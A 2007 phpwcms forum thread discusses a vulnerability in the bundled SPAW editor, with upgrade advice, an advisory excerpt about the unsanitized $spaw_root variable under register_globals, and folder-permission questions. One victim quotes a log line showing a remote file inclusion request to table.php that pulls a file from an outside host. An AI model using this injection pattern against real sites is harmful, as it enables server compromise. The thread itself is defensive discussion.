Get help with installation and running phpwcms here. Please do not post bug reports or feature requests here.
Peekay
Posts: 286 Joined: Sun 25. Jul 2004, 23:24
Location: UK
Post
by Peekay » Tue 19. Jun 2007, 01:13
Apparently, Spaw version 1.0. has a vulnerability, specifically involving 'spaw_control.class.php'. According to Secunia, the issue is resolved by upgrading Spaw to version > 1.0.4.
http://secunia.com/advisories/10451/
and Solmetra (the makers of Spaw) recommend upgrading to at least 1.2.4., the current version being 2.0.4.1.
DeXXus
Posts: 2168 Joined: Fri 28. Nov 2003, 06:20
Location: USA - Florida
Post
by DeXXus » Tue 19. Jun 2007, 02:43
"/include/inc_ext/spaw2/spaw.inc.php"
SPAW Editor v.2
Peekay
Posts: 286 Joined: Sun 25. Jul 2004, 23:24
Location: UK
Post
by Peekay » Tue 19. Jun 2007, 10:46
This is relevent to those still using PHPWCMS 1.28 or earlier, which included Spaw 1.0.
DeXXus
Posts: 2168 Joined: Fri 28. Nov 2003, 06:20
Location: USA - Florida
Post
by DeXXus » Tue 19. Jun 2007, 13:17
You're right, of course!
It would ~seem~ that, unless they are sharp, it would be tough for most folks to implement the new version AND add the "phpWCMS-specific" customization.
sebby
Posts: 28 Joined: Thu 28. Apr 2005, 00:31
Post
by sebby » Sun 24. Jun 2007, 16:58
Hello,
This thread should most definitely be moved to the Security alert forum as many others out there (that are also using spaw as a third party product) have already been hit through that vulnerability.
Regards,
1996 328ti
Posts: 317 Joined: Mon 19. Apr 2004, 06:10
Location: Greenville, SC USA
Contact:
Post
by 1996 328ti » Fri 7. Sep 2007, 17:32
The last time I upgraded I lost the some of my RTs so I am still on an older version.
What is SPAW used for?
Pappnase
Post
by Pappnase » Sat 8. Sep 2007, 02:35
hello
spaw is only an wysiwyg editor so if you use the fck editor you can delete the spaw folder.
1996 328ti
Posts: 317 Joined: Mon 19. Apr 2004, 06:10
Location: Greenville, SC USA
Contact:
Post
by 1996 328ti » Sat 8. Sep 2007, 03:26
Pappnase wrote: hello
spaw is only an wysiwyg editor so if you use the fck editor you can delete the spaw folder.
Thanks. I'll delete it them.
Whoever hacked into my site placed this in my spaw directory.
include/inc_ext/spaw/dialogs/table.php?spaw_root=http://----.org/coo2.zip? HTTP/1.1" 200 1203364
Pappnase
Post
by Pappnase » Sat 8. Sep 2007, 07:48
hello
as far as i know could this only happen if you setup the wrong rights to the folders.
DeXXus
Posts: 2168 Joined: Fri 28. Nov 2003, 06:20
Location: USA - Florida
Post
by DeXXus » Sat 8. Sep 2007, 09:26
Pappnase wrote: hello
as far as i know could this only happen if you setup the wrong rights to the folders.
Just an additional possible vulnerability:
The OLD vulnerability (phpWCMS v1.26) was also something to do with
register_globals :
Exploit:
~~~~~
Variable $spaw_root not sanitized. When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.
Solution :
~~~~~~~
declare variable $spaw_root
Pappnase
Post
by Pappnase » Sat 8. Sep 2007, 10:21
ahhh
sorry dex
lucky to have sombody who's watching me
DeXXus
Posts: 2168 Joined: Fri 28. Nov 2003, 06:20
Location: USA - Florida
Post
by DeXXus » Sat 8. Sep 2007, 11:23
Pappnase wrote: ahhh
sorry dex
lucky to have sombody who's watching me
@Pappnase
HeHe, even a "superhero" like you cannot remember everything!
-=U ROCK=-
We need to CLONE you!
Pappnase
Post
by Pappnase » Sat 8. Sep 2007, 11:41
DeXXus wrote: Pappnase wrote: ahhh
sorry dex
lucky to have sombody who's watching me
@Pappnase
HeHe, even a "superhero" like you cannot remember everything!
-=U ROCK=-
We need to CLONE you!
he dex
if you would be an woman i would give you a kiss. but now you get only an beer
1996 328ti
Posts: 317 Joined: Mon 19. Apr 2004, 06:10
Location: Greenville, SC USA
Contact:
Post
by 1996 328ti » Sun 9. Sep 2007, 21:48
Pappnase wrote: hello
as far as i know could this only happen if you setup the wrong rights to the folders.
I'm going over permissions since I've installed this so long ago. What should /includes and /images be set to?